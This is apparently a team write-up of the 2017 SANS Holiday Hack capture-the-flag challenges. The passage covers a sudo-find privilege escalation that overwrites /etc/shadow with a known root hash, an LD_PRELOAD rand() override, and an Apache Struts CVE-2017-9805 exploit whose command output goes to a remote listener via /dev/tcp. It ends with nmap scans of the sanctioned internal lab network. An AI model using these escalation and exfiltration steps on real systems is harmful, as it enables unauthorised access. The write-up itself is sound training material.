A one-liner is:

elf@784e43534178:~$ sqlite3 christmassongs.db "select title from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 1;"
Stairway to Heaven

Instead of joining the tables, we can first find what the most popular songid is:

sqlite> select songid, count(*) from likes group by songid order by count(*) desc limit 3;

and then look up what the title for that song is

sqlite> select title from songs where id=392;

This can also be done in a single query as long as we don't care about the like count:

sqlite> select title from songs where id = (select songid from likes group by songid order by count(*) desc limit 1);

This method even outperforms the join, taking about half the time to run! This is because the join has to examine all of the song titles, but the subquery method only has to look at one.

            -->*<--
              /o\
             /_\_\
            /_/_0_\
           /_o_\_\_\
          /_/_/_/_/o\
         /@\_\_\@\_\_\
        /_/_/O/_/_/_/_\
       /_\_\_\_\_\o\_\_\
      /_/0/_/_/_0_/_/@/_\
     /_\_\_\_\_\_\_\_\_\_\
    /_/o/_/_/@/_/_/o/_/0/_\
   jgs       [___]  


My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.

Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge.
Hint: What commands can you run with sudo?

From this game: https://2017.holidayhackchallenge.com/game/f09180b7-43e4-406c-83ac-924539e7b8f5

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=a9d07a00-55bc-4391-a02b-71f3c4f1ec44&uid=USER_ID

We're logged in as the user elf. We happen to know that /etc/shadow is where *NIX systems store the password hashes for their users.

The system MOTD gives us a hint:

What commands can you run with sudo?

We also know that sudo is a program that allows us to run commands with the privileges of other users and/or groups.

We need to overwrite /etc/shadow with /etc/shadow.bak. Basically we need to cp /etc/shadow.bak /etc/shadow, except that we don't have permissions to do that directly:

elf@784e43534178:~$ cp /etc/shadow.bak /etc/shadow
cp: cannot create regular file '/etc/shadow': Permission denied

Shinny Upatree on Twitter has a few hints:

I think I have some pseudo (sp?) permissions on this Unix server, but I don't know what that means. @GreenesterElf said this was a "learning opportunity" and won't give me the answer :'(

— Shinny Upatree (@ClimbALLdaTrees) December 7, 2017

If we follow the hint, we should try to figure out what commands we can run with sudo. Let's run sudo -h to view the help documentation:

sudo - execute a command as another user
...
  -l, --list                  list user's privileges or check a specific command; use twice for longer format
...

To follow the hint, we should run sudo with the --list option, to see what our privileges are:

elf@784e43534178:~$ sudo --list
Matching Defaults entries for elf on 784e43534178:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User elf may run the following commands on 784e43534178:
    (elf : shadow) NOPASSWD: /usr/bin/find

We can run the find command, but it also mentions something about shadow. Let's give it a shot:

elf@784e43534178:~$ sudo find
[sudo] password for elf: 

We don't know the password. The sudo output said we should be able to run this without a password ("NOPASSWD"). Something's not quite right. We can run sudo with -l -l as the help output said to get some more verbose output:

elf@784e43534178:~$ sudo -l -l
Matching Defaults entries for elf on 784e43534178:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User elf may run the following commands on 784e43534178:
Sudoers entry:
    RunAsUsers: elf
    RunAsGroups: shadow
    Options: !authenticate
    Commands:
	/usr/bin/find

Ok. So sudo lets us run the find command as the user elf, and the group shadow. Viewing sudo -h one more time shows us that there's an option we want to set our group to shadow:

-g, --group=group           run command as the specified group name or ID

elf@784e43534178:~$ sudo -g shadow find 
.
./.bashrc
./.bash_logout
./.profile

This time, sudo let us run find without prompting us for a password. So, we know that we can run commands as the elf user, and the shadow group. Is this enough to overwrite /etc/shadow?

elf@784e43534178:~$ ls -l /etc/shadow
-rw-rw---- 1 root shadow 0 Dec 15 20:00 /etc/shadow

Yes. /etc/shadow is owned by the root user and the shadow group, and the group has write permissions to it. At this point, the only thing that's left is figuring out how to use find in order to copy /etc/shadow.bak to /etc/shadow. find has an exec option:

actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print 
      -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
      -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
      -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;

Let's give it a shot:

elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \;

Looks like that worked:

elf@784e43534178:~$ inspect_da_box 
		     ___
		    / __'.     .-"""-.
	      .-""-| |  '.'.  / .---. \
	     / .--. \ \___\ \/ /____| |
	    / /    \ `-.-;-(`_)_____.-'._
	   ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
	   | |      /       \ /      `\ `. \       / .-. \
	   \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
		  `._       _.'|         .'
		     ```````    '-...--'`
/etc/shadow has been successfully restored!

A one-liner is:

sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow \; && inspect_da_box

Instead of using find to directly copy the file, we can just use it to start an elevated shell:

elf@784e43534178:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)
elf@784e43534178:~$ sudo -g shadow find -exec bash \;
...
elf@784e43534178:~$ id
uid=1000(elf) gid=42(shadow) groups=42(shadow),1000(elf)

This shows how we can use sudo and find as a general privilege escalation mechanism.

Another way of doing this is by putting in a modified shadow file instead, which will have a password that we know for the root user.

First, let's generate the password hash in the right format:

elf@784e43534178:~$ echo "password" | openssl passwd -1 -stdin
$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/

Now that we have a hash, we'll use sed to modify the /etc/shadow.bak file to have that as the password for root. Remember to be careful in escaping special characters in the sed command line.

elf@784e43534178:~$ sed -e 's/root:\*/root:$1$wDLzsvsW$0.aZ24yCO8xhhjnfHUIG3/' /etc/shadow.bak | tee better.shadow
root:$1$WPvxfOOK$JqDBD/DPQlpkUBOC3qTp51:17484:0:99999:7:::
daemon:*:17484:0:99999:7:::
bin:*:17484:0:99999:7:::
sys:*:17484:0:99999:7:::
sync:*:17484:0:99999:7:::
games:*:17484:0:99999:7:::
...

Now, we re-run our find command, and find that we can escalate to root with a password of password:

elf@784e43534178:~$ sudo -g shadow find -exec cp better.shadow /etc/shadow \;
elf@784e43534178:~$ su
Password: 
root@784e43534178:/home/elf# id  
uid=0(root) gid=0(root) groups=0(root)

find's exec syntax is a little weird, and a common mistake is forgetting to escape the semicolon at the end:

elf@784e43534178:~$ sudo -g shadow find -exec cp /etc/shadow.bak /etc/shadow ;
find: missing argument to `-exec'

Another issue is just the fact that sudo is often set up for user permissions, and not group permissions, so the -g flag is less well known.

                 .--._.--.--.__.--.--.__.--.--.__.--.--._.--.
               _(_      _Y_      _Y_      _Y_      _Y_      _)_
              [___]    [___]    [___]    [___]    [___]    [___]
              /:' \    /:' \    /:' \    /:' \    /:' \    /:' \
             |::   |  |::   |  |::   |  |::   |  |::   |  |::   |
             \::.  /  \::.  /  \::.  /  \::.  /  \::.  /  \::.  /
         jgs  \::./    \::./    \::./    \::./    \::./    \::./
               '='      '='      '='      '='      '='      '='


Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.

From this game: https://2017.holidayhackchallenge.com/game/30a9c19a-f931-4367-9922-d20b91314eec

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=96452ffb-5153-4473-9fe4-f0ff7921308e&uid=USER_ID

We are logged in as the user elf.

The MOTD tells us:

Run the given binary, make it return 42. Use the partial source for hints, it is just a clue. You will need to write your own code, but only a line or two.

Two files are provided

-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root   654 Dec 15 19:59 isit42.c.un

For this challenge we need to write our own code in order to make the provided binary isit42 return 42.

Wunorse Openslae (that's a stretch) on Twitter actually has no useful hints

This blog post, Go To The Head Of The Class: LD_PRELOAD For The Win, by Jeff McJunkin was useful.

Our team actually did this exact thing last year in order to derandomize wumpus.

In this case looking at the source code we can identify the exact code that is being used to randomize the program:

int getrand() {
    srand((unsigned int)time(NULL)); 
    printf("Calling rand() to select a random number.\n");
    // The prototype for rand is: int rand(void);
    return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}

If we create our own library file to define rand() we can remove the randomness.

As mentioned in the hints section above, we can use Jeff McJunkin's blog post for guidance on how to complete this challenge.

First we'll need to create our own library. We can call it rand.c.

int rand(unsigned int *seed) {
    return 42;
}

Then we compile it using the suggested flags in the article.

elf@784e43534178:~$ gcc -o rand -ldl -shared -fPIC rand.c

Once compiled we can then use LD_PRELOAD to load our library.

elf@784e43534178:~$ LD_PRELOAD=`pwd`/rand ./isit42
Starting up ... done.
Calling rand() to select a random number.
		 .-. 
		.;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______ 
	       /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
	      /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
	    |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_ 
	,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
	 \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
	 | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|
	  \/|(_) () (_)|\/ 
	    \   '()'   /            ______    _______  _______  ___      ___      __   __    ___   _______ 
	    _:.______.;_           |    _ |  |       ||   _   ||   |    |   |    |  | |  |  |   | |       |
	  /| | /`\/`\ | |\         |   | ||  |    ___||  |_|  ||   |    |   |    |  |_|  |  |   | |  _____|
	 / | | \_/\_/ | | \        |   |_||_ |   |___ |       ||   |    |   |    |       |  |   | | |_____ 
	/  |o`""""""""`o|  \       |    __  ||    ___||       ||   |___ |   |___ |_     _|  |   | |_____  |
       `.__/     ()     \__.'      |   |  | ||   |___ |   _   ||       ||       |  |   |    |   |  _____| |
       |  | ___      ___ |  |      |___|  |_||_______||__| |__||_______||_______|  |___|    |___| |_______|
       /  \|---|    |---|/  \ 
       |  (|42 | () | DA|)  |       _   ___  _______ 
       \  /;---'    '---;\  /      | | |   ||       |
	`` \ ___ /\ ___ / ``       | |_|   ||____   |
	    `|  |  |  |`           |       | ____|  |
      jgs    |  |  |  |            |___    || ______| ___ 
       _._  |\|\/||\/|/|  _._          |   || |_____ |   |
      / .-\ |~~~~||~~~~| /-. \         |___||_______||___|
      | \__.'    ||    '.__/ |
       `---------''---------` 
Congratulations! You've won, and have successfully completed this challenge.

Another option is to just brute force it. The sample code shows that the program is using

return rand() % 4096; // returns a pseudo-random integer between 0 and 4096

This means we should only need to run the program a few thousand times for the result to be 42. However, if we try to run the program too quickly, we notice we get the same output each time:

elf@784e43534178:~$ ./isit42 & ./isit42 &
[1] 31
[2] 32
elf@784e43534178:~$ Starting up ... Starting up ... done.
Calling rand() to select a random number.
done.
Calling rand() to select a random number.
945 is not 42.
945 is not 42.
[1]-  Exit 177                ./isit42
[2]+  Exit 177                ./isit42

This is because the program uses the current timestamp in seconds as a random seed. Running the program more than once a second will not help us.

If we run this:

elf@784e43534178:~$ while true;do ./isit42 ; done

We will get a different answer every time, but since the program contains a sleep(3) that will only run one attempt every 3 seconds instead of one attempt per second. To fix this, we can run each attempt in the background using &, sleeping 1 second between attempts:

elf@784e43534178:~$ while true;do ./isit42 &sleep 1;done

After a short wait, it succeeds:

Calling rand() to select a random number.
[860]   Exit 37                 ./isit42
[865] 1869
Starting up ... 3566 is not 42.
done.
Calling rand() to select a random number.
[861]   Exit 199                ./isit42
[866] 1871
Starting up ...                  .-.
		.;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______
	       /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
	      /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
	    |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_
	,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
	 \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
	 | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|

Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

This question simply requires playing the Winter Wonder Landing game level, and redirecting the snowball to collect the first Great Book page, GreatBookPage1.pdf.

This challenge was primarily to get players introduced to the game aspect of the Holiday Hack, and to give us a sample of the book pages that we'll be looking for.

Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com/. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

For hints associated with this challenge, Sparkle Redberry in the Winconceivable: The Cliffs of Winsanity Level can provide some tips.

We know that there is an application on https://l2s.northpolechristmastown.com that we need to investigate. This webpage is publically accessible from the Internet and not appear to require any special measures to access it. We do not know Alabaster password or username at the start of this challenge nor what type of web service is running on the host.

The following hints were provided by Sparkle Redberry from completing the level Winconceivable: The Cliffs of Winsanity:

The following SANS Pentest Blog posts were also very helpful for this challenge:

• Why You Need the Skills to Tinker with Publicly Released Exploit Code

  Code: https://github.com/chrisjd20/cve-2017-9805.py

• A Spot of Tee bash shell, and bypassing the I/O restriction with tee

There are two goals for this challenge. The first is to determine the topic of the Great Book Page that is sitting on the web root of this server. The second is to determine what Alabaster's password is.

According to the second hint there might be development code left in the production code. If we look at the source of l2s the following code pops out.

<!-- Development version -->
<a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>

Let's do some recon on the hosts:

$ nmap -sC l2s.northpolechristmastown.com

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST
Nmap scan report for l2s.northpolechristmastown.com (35.185.84.51)
Host is up (0.027s latency).
rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open   http
|_http-title: Did not follow redirect to https://l2s.northpolechristmastown.com/
443/tcp  open   https
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
3389/tcp closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 7.04 seconds

In addition to the hidden link for dev.northpolechristmastown.com, it is also present as an alternate name on the certificate of the host. Let's let nmap's scripts scan that as well.

$ nmap -sC dev.northpolechristmastown.com

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-03 15:36 CST
Nmap scan report for dev.northpolechristmastown.com (35.185.84.51)
Host is up (0.028s latency).
rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open   http
|_http-title: Did not follow redirect to https://dev.northpolechristmastown.com/
443/tcp  open   https
| http-title: Toys List
|_Requested resource was /orders.xhtml
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
3389/tcp closed ms-wbt-server

We can see that dev and l2s are one and the same, which is important, since dev was not explicitly called out as being in scope. Visiting the dev page has a footer that simply states Powered By: Apache Struts. Let's use this to our advantage. Let's use the tool provided through the SANS Pentest blog, cve-2017-9805.py. The dev page we land on is https://dev.northpolechristmastown.com/orders.xhtml so we'll use that to start from.

Let's check out the help:

$ ./cve-2017-9805.py
usage: cve-2017-9805.py [-h] [-u URL] -c COMMAND

optional arguments:
  -h, --help  show this help message and exit
  -u URL      url of target vulnerable apache struts server. Ex-
	      http://somevulnstrutsserver.com/orders.xhtml
  -c COMMAND  command to execute against the target. Ex - /usr/bin/whoami

The example URL is http://somevulnstrutsserver.com/orders.xhtml. How fortituous!

$ python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'ls'
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed

Looks like we need to modify the program to let us see what it's doing by uncommenting the following line:

print request.text

Rerunning our command now results in a lengthy Apache Tomcat error with no apparent output from our ls command. We're dealing with a blind injection so we'll need to figure out a different way to get the output of the command. One trick we can pull is redirecting output to a special pseudo device, /dev/tcp/$host/$port. We'll need to set up a listener on our end first:

holiday@hack:~$ nc -l -p 8888

Now we run the exploit again:

./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "ls > /dev/tcp/1.2.3.4/8888"

The result on our end is:

holiday@hack:~$ nc -l -p 8888
bin
boot
dev
etc
home
...
vmlinuz
vmlinuz.old

It looks like we've been dropped into the root directory. Let's look for where the web root is. Normally, the default is /var/www/html on most linux+apache based hosts. We'll try again with the command ls -al /var/www/html.

total 1772
drwxrwxrwt 6 www-data           www-data              4096 Jan  6 03:00 .
drwxr-xr-x 3 root               root                  4096 Oct 12 14:35 ..
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:03 css
drwxr-xr-x 3 root               www-data              4096 Oct 12 19:40 fonts
-r--r--r-- 1 root               www-data           1764298 Dec  4 20:25 GreatBookPage2.pdf
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:14 imgs
-rw-r--r-- 1 root               www-data             14501 Nov 24 20:53 index.html
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:11 js
-rwx------ 1 www-data           www-data               231 Oct 12 21:25 process.php

Oh look. There's GreatBookPage2.pdf. We can download it and find the answer to the first question.

Let's assume for a minute that we didn't know where the web root was. Since page 1 of our Great Book was a PDF, it's a pretty safe bet that page 2 is also a PDF. It takes about half of a second to search the system for all PDFs using find:

$ find / -name *.pdf
/var/www/html/GreatBookPage2.pdf

A common pitfall is the blind injection aspect of the Apache Struts exploit. There were a couple of ways around this:

• Using the /dev/tcp trick like we did,
• Redirect the output to /var/www/html/$filename, and then accessing that via the web interface,
• Piping the output to netcat.

Finding the password was also tricky. Luckily, there weren't many files on this system, so we could just grep everything, but another option would've been to look for files that had been modified around the time the system was installed.

Trying to compromise the l2s app itself was a dead end. Once we have command execution we can see that the process.php script is simply:

<?php
if ($_POST["first_name"] && $_POST["age"] && $_POST["state"] && $_POST["city"] && $_POST["toy"] && $_POST["message"] && $_POST["sex"]) {
    echo "Letter has been sent to Santa!";
} else {
    echo "Error missing parameters";
}
?>

Initially the host had a couple of noticeable holes.

• Apache server running as alabaster_snowball (eventually changed to www-data user)
• Easy bypass of rbash by adding the '-t' flag and executing bash on SSH login (eventually rbash was forced through /etc/ssh/sshd_config)

The server itself housed two virtual web hosts, the Letters to Santa application which ran PHP in nginx and the Development site which was run by Apache Struts on a high port being redirected by nginx.

Now that we have a script to automate access to l2s let's run nmap to scan the internal network.

holiday@hack:~$ ./l2s.py "nmap -sC 10.142.0.*"

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-09 20:51 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00018s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http
|_http-title: Did not follow redirect to https://hhc17-l2s-proxy.c.holidayhack2017.internal/
443/tcp  open  https
|_http-title: Toys List
| ssl-cert: Subject: commonName=dev.northpolechristmastown.com
| Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com
| Not valid before: 2017-11-29T12:54:54
|_Not valid after:  2018-02-27T12:54:54
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
2222/tcp open  EtherNetIP-1

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp open  http
|_http-title: Toys List

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00018s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 a2:c4:67:fe:a2:d9:df:47:02:55:35:1a:f4:1b:b6:02 (RSA)
|_  256 9e:d4:01:d1:71:be:95:90:68:6e:ee:87:28:42:49:8e (ECDSA)
25/tcp   open  smtp
|_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp   open  http
| http-robots.txt: 1 disallowed entry
|_/cookie.txt
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
143/tcp  open  imap
|_imap-capabilities: more AUTH=PLAIN capabilities have OK Pre-login AUTH=LOGINA0001 ENABLE listed SASL-IR IDLE post-login LITERAL+ IMAP4rev1 LOGIN-REFERRALS ID
2525/tcp open  ms-v-worlds
3000/tcp open  ppp

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00014s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
| ssh-hostkey:
|   2048 73:de:22:15:7b:53:13:85:a7:a5:8f:10:3a:5d:3b:3f (RSA)
|_  256 f5:d7:f3:5d:dc:7c:73:10:cc:f7:a4:c7:f0:d9:61:0c (ECDSA)
80/tcp   open     http
| http-robots.txt: 1 disallowed entry
|_/dev
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://edb.northpolechristmastown.com/index.html
389/tcp  filtered ldap
8080/tcp open     http-proxy
| http-robots.txt: 1 disallowed entry
|_/dev
|_http-title: Did not follow redirect to http://edb.northpolechristmastown.com/index.html

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00021s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=hhc17-smb-server
| Not valid before: 2017-11-06T13:46:55
|_Not valid after:  2018-05-08T13:46:55
|_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time.

Host script results:
|_nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA)
|_  256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA)
80/tcp   open  http
|_http-title: Toys List
4444/tcp open  krb524

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00078s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Index - North Pole Engineering Presents: EaaS!
3389/tcp open  ms-wbt-server
| ssl-cert: Subject: commonName=hhc17-elf-manufacturing
| Not valid before: 2017-11-23T20:53:55
|_Not valid after:  2018-05-25T20:53:55
|_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time.

Post-scan script results:
| clock-skew:
|   0s:
|     10.142.0.13 (eaas.northpolechristmastown.com)
|_    10.142.0.8 (hhc17-emi.c.holidayhack2017.internal)
| ssh-hostkey: Possible duplicate hosts
| Key 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) used by:
|   10.142.0.2
|   10.142.0.3
|   10.142.0.11
| Key 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) used by:
|   10.142.0.2
|   10.142.0.3
|_  10.142.0.11
Nmap done: 256 IP addresses (7 hosts up) scanned in 14.86 seconds

The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

/For hints, please see Holly Evergreen in the Cryokinetic Magic Level.

Holly's hints are:

The scope statement calls out systems on 10.142.0.0/24 as being in scope:

SCOPE: For this entire challenge, you are authorized to attack ONLY the Letters to Santa system at l2s.northpolechristmastown.com AND other systems on the internal 10.142.0.0/24 network that you access through the Letters to Santa system.

The question mentions pivoting through the Letters to Santa server (l2s). A commonly used tool for network discovery is nmap, and we can check that it's available on l2s:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.VmaV55tqZi5rteO9fXHB3kjM$ nmap -V

Nmap version 7.40 ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.3.3 openssl-1.1.0c libpcre-8.39 libpcap-1.8.1 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select

There's a great nmap overview available here: https://nmap.org/book/nmap-overview-and-demos.html

We also know that the SMB suite of protocols uses a lot of ports, but 445 is one of the main ones.

This post on the SANS Pen Testing Blog seems relevant, but masscan isn't installed on l2s:

• Massively Scaling your Scanning https://pen-testing.sans.org/blog/2017/10/25/massively-scaling-your-scanning

Three separate things:

1. Identify the SMB server,
2. Enumerate the shares on it,
3. Name the file server share.

Let's follow the nmap overview.

Being the careful type, Felix first starts out with what is known as an Nmap list scan (-sL option). This feature simply enumerates every IP address in the given target netblock(s) and does a reverse-DNS lookup (unless -n was specified) on each. One reason to do this first is stealth. The names of the hosts can hint at potential vulnerabilities and allow for a better understanding of the target network, all without raising alarm bells.

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -sL 10.142.0.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:40 UTC
Nmap scan report for 10.142.0.0
Nmap scan report for 10.142.0.1
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Nmap scan report for 10.142.0.4
Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Nmap scan report for 10.142.0.9
Nmap scan report for 10.142.0.10
Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Nmap scan report for 10.142.0.12
Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Nmap scan report for 10.142.0.14
Nmap scan report for 10.142.0.15
...

Parsing the results a bit:

One of the systems is named hhc17-smb-server.

Continuing with the overview, we can now narrow in on a single IP. This is the same technique suggested in one of the hints:

alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -p- -PS445 -A -T4 -oA avatartcpscan-%D 10.142.0.7

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:51 UTC
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00040s latency).
Not shown: 65527 filtered ports
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=hhc17-emi
| Not valid before: 2017-11-06T13:51:23
|_Not valid after:  2018-05-08T13:51:23
|_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time.
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
